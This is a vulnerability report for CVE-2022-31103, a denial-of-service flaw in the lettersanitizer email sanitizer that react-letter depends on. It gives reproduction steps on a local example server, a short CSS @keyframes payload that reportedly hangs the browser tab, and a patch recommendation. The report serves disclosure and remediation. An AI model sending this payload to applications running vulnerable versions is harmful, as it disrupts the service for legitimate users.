

1. Vulnerability Report : CVE-2022-31103

→ Overview :

Lettersanitizer is a DOM-based HTML email sanitizer used for in-browser email rendering. This package is depended on by react-letter, a package that enables the creation of reactive emails with React.

→ Vulnerability Details:

All versions of lettersanitizer below 1.0.2 are affected by a Denial of Service (DoS) vulnerability when processing a CSS at-rule @keyframes. An attacker could exploit this vulnerability by sending a malicious email with a specifically crafted CSS @keyframes at-rule, which would cause the lettersanitizer to crash or hang, making the application unresponsive.

→ Impact :

The impact of the lettersanitizer denial of service vulnerability could result in a significant disruption of the availability of the application. Attackers could exploit this vulnerability by sending a malicious email with a crafted CSS at-rule @keyframes, causing the application to crash or hang. This could result in the application becoming unresponsive, making it unavailable to legitimate users. The impact of this vulnerability is particularly concerning for applications that rely on lettersanitizer for critical email rendering functionality.

→ Proof-of-Concept Approach :

1. Clone the react-letter repository by using the following command
: `git clone https://github.com/mat-sz/react-letter` .
2. Change to the react-letter directory by using the following command
: `cd react-letter/`
3. Checkout the specified branch by using the following command
: `git checkout 363ac824740a25bd5e4cdcf7e650cbd34bba30fe`
4. Install npm packages in the root directory by using the following command

`: npm install`

5. Check the version of lettersanitizer by using the following command

`: cat node_modules/lettersanitizer/package.json`

The version must be "1.0.1".

6. Change to the example directory by using the following command

`: cd example/`

7. Add "type=module" attribute in script tag in *index.html*

8. Install npm packages by using the following command: *npm install*

9. Start the server by using the following command: *npm start*

This will start the server at "<http://localhost:1234/>"

10. Browse to the local server and paste the following code:

```
<style> @keyframes test {  
  0% {  
    transform: rotate(0deg);  
  }  
  100% {  
    transform: rotate(360deg);  
  }  
} </style>
```

#This will make the page unresponsive and will crash the tab with 100% CPU usage.

→ Solution :

The problem has been patched in version 1.0.2 of lettersanitizer. Users of react-letter should upgrade to the latest version of lettersanitizer to protect against this vulnerability.

